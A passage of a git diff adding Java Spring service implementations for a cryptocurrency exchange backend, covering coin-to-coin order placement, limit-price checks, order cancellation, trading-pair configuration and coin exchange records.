tCurrencyOrderMapper.deleteTCurrencyOrderByIds(ids); + } + + /** + * 删除币币交易订单信息 + * + * @param id 币币交易订单主键 + * @return 结果 + */ + @Override + public int deleteTCurrencyOrderById(Long id) { + return tCurrencyOrderMapper.deleteTCurrencyOrderById(id); + } + + @Transactional + @Override + public String submitCurrencyOrder(TAppUser user, TCurrencyOrder tCurrencyOrder) { + String symbol = tCurrencyOrder.getSymbol(); + String coin = tCurrencyOrder.getCoin(); + Integer delegateType = tCurrencyOrder.getDelegateType(); + TCurrencySymbol currencySymbol = tCurrencySymbolMapper.selectOne(new LambdaQueryWrapper().eq(TCurrencySymbol::getCoin, symbol).eq(TCurrencySymbol::getBaseCoin, coin).eq(TCurrencySymbol::getEnable, "1")); + if (Objects.isNull(currencySymbol)) { + return MessageUtils.message("currency.coin.setting.nonexistent", (tCurrencyOrder.getSymbol() + tCurrencyOrder.getCoin()).toUpperCase()); + } + // 111 + BigDecimal symolSettle = tCurrencyOrder.getSymbol().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getSymbol()); + BigDecimal coinSettle = tCurrencyOrder.getCoin().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getCoin()); + BigDecimal settlePrice = symolSettle.divide(coinSettle, 8, RoundingMode.DOWN); + + //校验 + + + String result = checkOrder(tCurrencyOrder, currencySymbol, settlePrice); + if (!result.equals("success")) { + return result; + } + Long userId = user.getUserId(); + //判断是否需要创建资产账户 + if (tCurrencyOrder.getType() == 0) { + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getSymbol())); + if (Objects.isNull(tAppAsset)) { + tAppAssetService.createAsset(user, tCurrencyOrder.getSymbol(), AssetEnum.PLATFORM_ASSETS.getCode()); + } + } else { + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin())); + //判断是否需要创建资产账户 + if (Objects.isNull(tAppAsset)) { + tAppAssetService.createAsset(user, tCurrencyOrder.getCoin(), AssetEnum.PLATFORM_ASSETS.getCode()); + } + } + //查询交易币种资产 + TAppAsset addAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getSymbol()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //查询结算币种资产 + TAppAsset subtractAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + + BigDecimal delegatePrice = tCurrencyOrder.getDelegatePrice(); + BigDecimal delegateTotal = tCurrencyOrder.getDelegateTotal(); + BigDecimal delegateValue = tCurrencyOrder.getDelegateValue(); + BigDecimal ratio = currencySymbol.getFeeRate().divide(new BigDecimal("100")); + BigDecimal dealNum = BigDecimal.ZERO; + + //可用资产 + BigDecimal availableAsset = BigDecimal.ZERO; + String msgsSymbol = ""; + if (tCurrencyOrder.getType() == 0) { + availableAsset = subtractAsset.getAvailableAmount(); + msgsSymbol = subtractAsset.getSymbol(); + if (availableAsset.compareTo(delegateValue) < 0) { + return MessageUtils.message("currency.balance.deficiency", msgsSymbol.toUpperCase()); + } + } else { + availableAsset = addAsset.getAvailableAmount(); + msgsSymbol = addAsset.getSymbol(); + if (availableAsset.compareTo(delegateTotal) < 0) { + return MessageUtils.message("currency.balance.deficiency", msgsSymbol.toUpperCase()); + } + } + //根据type 和 delegateType 整合数据 + String serialNo = "Y" + OrderUtils.generateOrderNum(); + tCurrencyOrder.setAdminParentIds(user.getAdminParentIds()); + tCurrencyOrder.setUserId(userId); + tCurrencyOrder.setOrderNo(serialNo); + tCurrencyOrder.setDealPrice(settlePrice); + if (tCurrencyOrder.getType() == 0) { + if (delegateType == 0) { + if (checkPrice(tCurrencyOrder.getType(), settlePrice, delegatePrice)) { + dealNum = delegateTotal; + tCurrencyOrder.setDealNum(delegateTotal); + tCurrencyOrder.setDealValue(settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN)); + tCurrencyOrder.setFee(delegateTotal.multiply(ratio)); + + BigDecimal subtractPrice = tCurrencyOrder.getDealValue(); + BigDecimal addPrice = dealNum.subtract(dealNum.multiply(ratio)); + assembleCurrencyOrder(tCurrencyOrder, symbol, coin, userId, subtractPrice, addPrice, subtractAsset, addAsset); + } else { + combinationCurrencyOrder(tCurrencyOrder, ratio, userId); + } + } else { + dealNum = delegateValue.divide(settlePrice, 6, RoundingMode.DOWN); + tCurrencyOrder.setDelegateTotal(dealNum); + tCurrencyOrder.setDelegatePrice(settlePrice); + tCurrencyOrder.setDelegateValue(delegateValue); + tCurrencyOrder.setDealNum(dealNum); + tCurrencyOrder.setDealValue(delegateValue); + tCurrencyOrder.setFee(dealNum.multiply(ratio)); + BigDecimal subtractPrice = delegateValue; + BigDecimal addPrice = dealNum.subtract(tCurrencyOrder.getFee()); + assembleCurrencyOrder(tCurrencyOrder, symbol, coin, userId, subtractPrice, addPrice, subtractAsset, addAsset); + } + } else { + if (delegateType == 0) { + if (checkPrice(tCurrencyOrder.getType(), settlePrice, delegatePrice)) { + tCurrencyOrder.setDealNum(delegateTotal); + tCurrencyOrder.setDealValue(settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN)); + tCurrencyOrder.setFee(tCurrencyOrder.getDealValue().multiply(ratio)); + BigDecimal subtractPrice = tCurrencyOrder.getDealNum(); + BigDecimal addPrice = tCurrencyOrder.getDealValue().subtract(tCurrencyOrder.getFee()); + assembleCurrencyOrder(tCurrencyOrder, coin, symbol, userId, subtractPrice, addPrice, addAsset, subtractAsset); + } else { + combinationCurrencyOrder(tCurrencyOrder, ratio, userId); + } + } else { + tCurrencyOrder.setDealNum(delegateTotal); + tCurrencyOrder.setDealValue(settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN)); + tCurrencyOrder.setDelegatePrice(settlePrice); + tCurrencyOrder.setDelegateValue(tCurrencyOrder.getDealValue()); + tCurrencyOrder.setFee(tCurrencyOrder.getDealValue().multiply(ratio)); + BigDecimal subtractPrice = delegateTotal; + BigDecimal addPrice = tCurrencyOrder.getDealValue().subtract(tCurrencyOrder.getFee()); + assembleCurrencyOrder(tCurrencyOrder, coin, symbol, userId, subtractPrice, addPrice, addAsset, subtractAsset); + } + } + return "success"; + } + + /** + * 币种校验 + * + * @param tCurrencyOrder + * @param currencySymbol + * @param settlePrice + * @return + */ + @Override + public String checkOrder(TCurrencyOrder tCurrencyOrder, TCurrencySymbol currencySymbol, BigDecimal settlePrice) { + + + Integer type = tCurrencyOrder.getType(); + + Integer deleType=tCurrencyOrder.getDelegateType(); + // + BigDecimal minSell = Objects.isNull(currencySymbol.getMinSell())?BigDecimal.ZERO:currencySymbol.getMinSell(); + + if (type == 1) { + if (tCurrencyOrder.getDelegateTotal().compareTo(minSell) < 0) { + return MessageUtils.message("order.sell.min.error", minSell); + } + } else { + if(deleType==1){ + tCurrencyOrder.setDelegateTotal(tCurrencyOrder.getDelegateValue().divide(settlePrice, 6, RoundingMode.DOWN)); + } + //最小下单量 + if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMin()) < 0) { + return MessageUtils.message("currency.order.min.error", currencySymbol.getOrderMin()); + } + //最大下单量 + if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMax()) > 0) { + MessageUtils.message("currency.order.max.error", currencySymbol.getOrderMax()); + } + } +// Integer delegateType = tCurrencyOrder.getDelegateType(); +// if (currencySymbol.getIsDeal().equals("2")){ +// return MessageUtils.message("currency.deal.error"); +// } +// if (type==0){ +// if (delegateType==0){ +// //限价买 1=可以 2=不可以 +// if (currencySymbol.getLimitedBuy().equals("2")){ +// return MessageUtils.message("currency.limited.buy.error"); +// } +// //最高买单价 +// if (tCurrencyOrder.getDelegatePrice().compareTo(currencySymbol.getBuyMax())>0){ +// +// return MessageUtils.message("currency.buy.max.error",currencySymbol.getBuyMax()); +// } +// //最小下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMin())<0 ){ +// +// return MessageUtils.message("currency.order.min.error",currencySymbol.getOrderMin()); +// } +// //最大下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMax())>0){ +// MessageUtils.message("currency.order.max.error",currencySymbol.getOrderMax()); +// } + + +// //市价买 1=可以 2=不可以 +// if (currencySymbol.getMarketBuy().equals("2")){ +// +// return MessageUtils.message("currency.market.buy.error"); +// } +// //最高买单价 +//// if (settlePrice.compareTo(currencySymbol.getBuyMax())>0){ +//// return MessageUtils.message("currency.buy.max.error",currencySymbol.getBuyMax()); +//// } +// } +// }else{ +// //最小下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMin())<0 ){ +// return MessageUtils.message("currency.order.min.error",currencySymbol.getOrderMin()); +// } +// //最大下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMax())>0){ +// MessageUtils.message("currency.order.max.error",currencySymbol.getOrderMax()); +// } +// if (delegateType==0){ +// //限价卖 1=可以 2=不可以 +// if (currencySymbol.getLimitedBuy().equals("2")){ +// return MessageUtils.message("currency.limited.sell.error"); +// } +// //最底卖单价 +// if (tCurrencyOrder.getDelegatePrice().compareTo(currencySymbol.getSellMin())<0){ +// +// return MessageUtils.message("currency.sell.min.error",currencySymbol.getSellMin()); +// } +// }else{ +// //市价卖 1=可以 2=不可以 +// if (currencySymbol.getMarketSell().equals("2")){ +// +// return MessageUtils.message("currency.market.sell.error"); +// } +// //最底卖单价 +//// if (settlePrice.compareTo(currencySymbol.getSellMin())<0){ +//// +//// return MessageUtils.message("currency.sell.min.error",currencySymbol.getSellMin()); +//// } +// } +// } + return "success"; + } + + /** + * @param symbol + * @param coin + * @param userId 用户id + * @param subtractPrice 交易币种要➖的金额 + * @param addPrice 结算币种要➕的金额 + * @param subtractAsset 用户交易币种资产 + * @param addAsset 用户结算币种资产 + */ + @Override + public void assembleCurrencyOrder(TCurrencyOrder tCurrencyOrder, String symbol, String coin, Long + userId, BigDecimal subtractPrice, BigDecimal addPrice, TAppAsset subtractAsset, TAppAsset addAsset) { + TAppUser appUser = tAppUserService.getById(userId); + tCurrencyOrder.setUserId(userId); + tCurrencyOrder.setDelegateTime(DateUtils.getNowDate()); + tCurrencyOrder.setDealTime(DateUtils.getNowDate()); + tCurrencyOrder.setCreateTime(DateUtils.getNowDate()); + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + tCurrencyOrder.setStatus(1); + tCurrencyOrderMapper.insert(tCurrencyOrder); + tAppAssetService.reduceAssetByUserId(userId, coin, subtractPrice); + tAppAssetService.addAssetByUserId(userId, symbol, addPrice); + appWalletRecordService.generateRecord(userId, subtractPrice, RecordEnum.CURRENCY_TRADINGSUB.getCode(), null, tCurrencyOrder.getOrderNo(), "币币交易-", subtractAsset.getAvailableAmount(), subtractAsset.getAvailableAmount().subtract(subtractPrice), coin, appUser.getAdminParentIds()); + appWalletRecordService.generateRecord(userId, addPrice, RecordEnum.CURRENCY_TRADINGADD.getCode(), null, tCurrencyOrder.getOrderNo(), "币币交易+", addAsset.getAvailableAmount(), addAsset.getAvailableAmount().add(addPrice), symbol, appUser.getAdminParentIds()); + + //币币打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getCurrencyIsOpen()) && addMosaic.getCurrencyIsOpen()){ + BigDecimal price = BigDecimal.ONE; + try { + if (!coin.equals("usdt")){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice.multiply(price))); + }else{ + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice)); + } + tAppUserService.updateTotleAmont(appUser); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + + /** + * 限价没满足条件的操作 + * + * @param tCurrencyOrder + * @param ratio + * @param userId + */ + public void combinationCurrencyOrder(TCurrencyOrder tCurrencyOrder, BigDecimal ratio, Long userId) { + tCurrencyOrder.setCreateTime(DateUtils.getNowDate()); + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + tCurrencyOrder.setDelegateTime(DateUtils.getNowDate()); + tCurrencyOrder.setStatus(0); + tCurrencyOrder.setFee(ratio); + tCurrencyOrder.setDelegateTotal(tCurrencyOrder.getDelegateTotal()); + tCurrencyOrder.setDelegatePrice(tCurrencyOrder.getDelegatePrice()); + tCurrencyOrder.setDelegateValue(tCurrencyOrder.getDelegateValue()); + tCurrencyOrder.setDealNum(BigDecimal.ZERO); + tCurrencyOrder.setDealValue(BigDecimal.ZERO); + tCurrencyOrder.setDealPrice(BigDecimal.ZERO); + tCurrencyOrderMapper.insert(tCurrencyOrder); + tAppAssetService.occupiedAssetByUserId(userId, tCurrencyOrder.getType() == 0 ? tCurrencyOrder.getCoin() : tCurrencyOrder.getSymbol(), tCurrencyOrder.getType() == 0 ? tCurrencyOrder.getDelegateValue() : tCurrencyOrder.getDelegateTotal()); + } + + /** + * 扯单 + * + * @param currencyOrder + * @return + */ + @Override + @Transactional + public int canCelOrder(TCurrencyOrder currencyOrder) { + //买入撤单 + TAppAsset asset = tAppAssetService.getOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, currencyOrder.getUserId()) + .eq(TAppAsset::getSymbol, currencyOrder.getSymbol()) + .eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + + TAppAsset usdtAsset = tAppAssetService.getOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, currencyOrder.getUserId()) + .eq(TAppAsset::getSymbol, currencyOrder.getCoin()) + .eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + + Integer type = currencyOrder.getType(); + + BigDecimal delegateTotal = currencyOrder.getDelegateTotal(); + + BigDecimal delegateVale = currencyOrder.getDelegateValue(); + + if (0 == type) { + usdtAsset.setAvailableAmount(usdtAsset.getAvailableAmount().add(delegateVale)); + usdtAsset.setOccupiedAmount(usdtAsset.getOccupiedAmount().subtract(delegateVale)); + tAppAssetService.updateByUserId(usdtAsset); + } else if (1 == type) { + asset.setAvailableAmount(asset.getAvailableAmount().add(delegateTotal)); + asset.setOccupiedAmount(asset.getOccupiedAmount().subtract(delegateTotal)); + tAppAssetService.updateByUserId(asset); + } + currencyOrder.setStatus(3); + int i = tCurrencyOrderMapper.updateTCurrencyOrder(currencyOrder); + return i; + } + + @Override + public List selectOrderList(TCurrencyOrder tCurrencyOrder) { + List tCurrencyOrders = tCurrencyOrderMapper.selectOrderList(tCurrencyOrder); + for (TCurrencyOrder currencyOrder : tCurrencyOrders) { + QueryWrapper queryWrapper = new QueryWrapper(); + queryWrapper.eq("UPPER(coin)", currencyOrder.getSymbol().toUpperCase()); + TCurrencySymbol tCurrencySymbol = tCurrencySymbolMapper.selectOne(queryWrapper); + } + + return tCurrencyOrders; + } + + + /** + * 判断是否符合限价的操作 + * + * @param type + * @param settlePrice + * @param delegatePrice + * @return + */ + @Override + public boolean checkPrice(Integer type, BigDecimal settlePrice, BigDecimal delegatePrice) { + if (0 == type) { + //限价于小于当前价 + if (delegatePrice.compareTo(settlePrice) >= 0) { + return true; + } + } else { + //限价大于等于当前价 + if (delegatePrice.compareTo(settlePrice) <= 0) { + return true; + } + } + return false; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java new file mode 100644 index 0000000..5a8a52f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java @@ -0,0 +1,212 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.List; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.domain.TUserCoin; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TCurrencySymbolMapper; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 币币交易币种配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-25 + */ +@Service +public class TCurrencySymbolServiceImpl extends ServiceImpl implements ITCurrencySymbolService +{ + @Resource + private TCurrencySymbolMapper tCurrencySymbolMapper; + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + @Resource + private TUserCoinMapper userCoinMapper; + @Resource + private ITOwnCoinService itOwnCoinService; + /** + * 查询币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 币币交易币种配置 + */ + @Override + public TCurrencySymbol selectTCurrencySymbolById(Long id) + { + return tCurrencySymbolMapper.selectTCurrencySymbolById(id); + } + + /** + * 查询币币交易币种配置列表 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 币币交易币种配置 + */ + @Override + public List selectTCurrencySymbolList(TCurrencySymbol tCurrencySymbol) + { + return tCurrencySymbolMapper.selectTCurrencySymbolList(tCurrencySymbol); + } + + /** + * 新增币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + @Override + public int insertTCurrencySymbol(TCurrencySymbol tCurrencySymbol) + { + + + tCurrencySymbol.setSymbol(tCurrencySymbol.getCoin().toLowerCase()+"usdt"); + tCurrencySymbol.setShowSymbol(StringUtils.isNotBlank(tCurrencySymbol.getShowSymbol())?tCurrencySymbol.getShowSymbol().toUpperCase():(tCurrencySymbol.getCoin()+"/usdt").toUpperCase()); + tCurrencySymbol.setCoin(tCurrencySymbol.getCoin().toLowerCase()); + tCurrencySymbol.setBaseCoin("usdt"); + tCurrencySymbol.setUpdateBy(SecurityUtils.getUsername()); + tCurrencySymbol.setUpdateTime(DateUtils.getNowDate()); + tCurrencySymbol.setCreateBy(SecurityUtils.getUsername()); + tCurrencySymbol.setUpdateTime(DateUtils.getNowDate()); + List klist = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tCurrencySymbol.getCoin().toUpperCase())); + if (!CollectionUtils.isEmpty(klist)){ + tCurrencySymbol.setLogo(klist.get(0).getLogo()); + } + if(tCurrencySymbol.getMarket().equals("echo")){ + KlineSymbol klineSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, tCurrencySymbol.getMarket()).eq(KlineSymbol::getSymbol, tCurrencySymbol.getCoin().toLowerCase())); + tCurrencySymbol.setLogo(klineSymbol.getLogo()); + } + int i = tCurrencySymbolMapper.insertTCurrencySymbol(tCurrencySymbol); + HashMap object = new HashMap<>(); + object.put("add_coin",tCurrencySymbol.getCoin()); + redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + @Override + public int updateTCurrencySymbol(TCurrencySymbol tCurrencySymbol) + { + tCurrencySymbol.setSymbol(tCurrencySymbol.getCoin().toLowerCase()+"usdt"); + tCurrencySymbol.setShowSymbol(tCurrencySymbol.getShowSymbol().toUpperCase()); + tCurrencySymbol.setCoin(tCurrencySymbol.getCoin().toLowerCase()); + tCurrencySymbol.setUpdateBy(SecurityUtils.getUsername()); + tCurrencySymbol.setUpdateTime(DateUtils.getNowDate()); + List klist = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tCurrencySymbol.getCoin().toUpperCase())); + if (!CollectionUtils.isEmpty(klist)){ + tCurrencySymbol.setLogo(klist.get(0).getLogo()); + } + return tCurrencySymbolMapper.updateTCurrencySymbol(tCurrencySymbol); + } + + /** + * 批量删除币币交易币种配置 + * + * @param ids 需要删除的币币交易币种配置主键 + * @return 结果 + */ + @Override + public int deleteTCurrencySymbolByIds(Long[] ids) + { + return tCurrencySymbolMapper.deleteTCurrencySymbolByIds(ids); + } + + /** + * 删除币币交易币种配置信息 + * + * @param id 币币交易币种配置主键 + * @return 结果 + */ + @Override + public int deleteTCurrencySymbolById(Long id) + { + return tCurrencySymbolMapper.deleteTCurrencySymbolById(id); + } + + @Override + public boolean batchSave(String[] symbols) { + List list = new ArrayList<>(); + for (String symbol : symbols) { + TCurrencySymbol tCurrencySymbol = tCurrencySymbolMapper.selectOne(new LambdaQueryWrapper().eq(TCurrencySymbol::getCoin, symbol.toLowerCase())); + if(null != tCurrencySymbol){ + continue; + } + TCurrencySymbol currencySymbol = new TCurrencySymbol(); + List klist = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toUpperCase())); + if (!CollectionUtils.isEmpty(klist)){ + currencySymbol.setLogo(klist.get(0).getLogo()); + } + currencySymbol.setSymbol(symbol.toLowerCase()+"usdt"); + currencySymbol.setShowSymbol(symbol.toUpperCase()+"/USDT"); + currencySymbol.setCoin(symbol.toLowerCase()); + currencySymbol.setBaseCoin("usdt"); + + list.add(currencySymbol); + } + return this.saveBatch(list); + } + + @Override + public List getSymbolList() { + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setIsShow("1"); + List tCurrencySymbols = tCurrencySymbolMapper.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol tCurrencySymbol1: tCurrencySymbols) { + String logo = tCurrencySymbol1.getLogo(); + if(logo.contains("echo-res")){ + tCurrencySymbol1.setLogo(logo); + }else { + tCurrencySymbol1.setLogo(" https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui"+ logo.substring(logo.lastIndexOf("/"),logo.length())); + } + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); + queryWrapper.eq(TUserCoin::getCoin, tCurrencySymbol1.getCoin().toLowerCase()); + if(StpUtil.isLogin()){ + queryWrapper.eq(TUserCoin::getUserId, StpUtil.getLoginIdAsLong()); + TUserCoin userCoin = userCoinMapper.selectOne(queryWrapper); + if(ObjectUtils.isNotEmpty(userCoin)){ + tCurrencySymbol1.setIsCollect(1); + }else { + tCurrencySymbol1.setIsCollect(2); + } + } + } + return tCurrencySymbols; + } + + @Override + public TCurrencySymbol selectByCoin(String symbol) { + return tCurrencySymbolMapper.selectByCoin(symbol); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java new file mode 100644 index 0000000..1e56fbf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java @@ -0,0 +1,328 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.mapper.TAppWalletRecordMapper; +import com.ruoyi.bussiness.mapper.TExchangeCoinRecordMapper; +import com.ruoyi.bussiness.mapper.TSymbolManageMapper; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITExchangeCoinRecordService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + +/** + * 币种兑换记录Service业务层处理 + * + * @author ruoyi + * @date 2023-07-07 + */ +@Service +@Slf4j +public class TExchangeCoinRecordServiceImpl extends ServiceImpl implements ITExchangeCoinRecordService +{ + @Autowired + private TExchangeCoinRecordMapper tExchangeCoinRecordMapper; + @Autowired + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService; + @Resource + private TAppWalletRecordMapper appWalletRecordMapper; + @Resource + private TSymbolManageMapper tSymbolManageMapper; + + + + /** + * 查询币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 币种兑换记录 + */ + @Override + public TExchangeCoinRecord selectTExchangeCoinRecordById(Long id) + { + return tExchangeCoinRecordMapper.selectTExchangeCoinRecordById(id); + } + + /** + * 查询币种兑换记录列表 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 币种兑换记录 + */ + @Override + public List selectTExchangeCoinRecordList(TExchangeCoinRecord tExchangeCoinRecord) + { + return tExchangeCoinRecordMapper.selectTExchangeCoinRecordList(tExchangeCoinRecord); + } + + /** + * 新增币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + @Override + public int insertTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord) + { + tExchangeCoinRecord.setCreateTime(DateUtils.getNowDate()); + return tExchangeCoinRecordMapper.insertTExchangeCoinRecord(tExchangeCoinRecord); + } + + /** + * 修改币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + @Override + public int updateTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord) + { + tExchangeCoinRecord.setUpdateTime(DateUtils.getNowDate()); + return tExchangeCoinRecordMapper.updateTExchangeCoinRecord(tExchangeCoinRecord); + } + + /** + * 批量删除币种兑换记录 + * + * @param ids 需要删除的币种兑换记录主键 + * @return 结果 + */ + @Override + public int deleteTExchangeCoinRecordByIds(Long[] ids) + { + return tExchangeCoinRecordMapper.deleteTExchangeCoinRecordByIds(ids); + } + + /** + * 删除币种兑换记录信息 + * + * @param id 币种兑换记录主键 + * @return 结果 + */ + @Override + public int deleteTExchangeCoinRecordById(Long id) + { + return tExchangeCoinRecordMapper.deleteTExchangeCoinRecordById(id); + } + + @Override + public Integer countBySubmittedRecord(Long userId, String fromCoin, String toCoin) { + TExchangeCoinRecord exchangeCoinRecord = new TExchangeCoinRecord(); + exchangeCoinRecord.setUserId(userId); + exchangeCoinRecord.setFromCoin(fromCoin); + exchangeCoinRecord.setToCoin(toCoin); + exchangeCoinRecord.setStatus(0); + return tExchangeCoinRecordMapper.countByExchangeCoinRecord(exchangeCoinRecord); + } + + @Override + public int insertRecord(TAppUser user, Map params) { + TExchangeCoinRecord record = new TExchangeCoinRecord(); + record.setAddress(user.getAddress()); + record.setUserId(user.getUserId()); + record.setUsername(user.getLoginName()); + record.setFromCoin(String.valueOf(params.get("fromSymbol"))); + record.setToCoin(String.valueOf(params.get("toSymbol"))); + record.setAmount(new BigDecimal(String.valueOf(params.get("total")))); + record.setStatus(1); + record.setCreateTime(DateUtils.getNowDate()); + record.setAdminParentIds(user.getAdminParentIds()); + int i = tExchangeCoinRecordMapper.insert(record); + if (i==1){ + //兑换 + exchangeStart(record,user); + } + return i; + + + } + + @Override + public Map getCurrencyPrice(String[] currency) { + Map resultMap = new HashMap<>(); + if (currency!=null && currency.length>0){ + for (int i = 0; i < currency.length; i++) { + resultMap.put(currency[i],redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+currency[i])); + } + } + return resultMap; + } + + @Override + public List getListByLimit(int size) { + return tExchangeCoinRecordMapper.getListByLimit(size); + } + + /** + * 开始兑换 + * + * @param record + * @param user + */ + public void exchangeStart(TExchangeCoinRecord record, TAppUser user) { + log.debug(">>> 币种兑换开始 >>>"); + + // 系统配置的兑换汇率 + List list = tSymbolManageMapper.selectList(new LambdaQueryWrapper().eq(TSymbolManage::getEnable, "1").eq(TSymbolManage::getDelFlag, "0")); + BigDecimal from =record.getFromCoin().toLowerCase().equals("usdt")?new BigDecimal(1): redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+record.getFromCoin().toLowerCase()); + BigDecimal to = record.getToCoin().toLowerCase().equals("usdt")?new 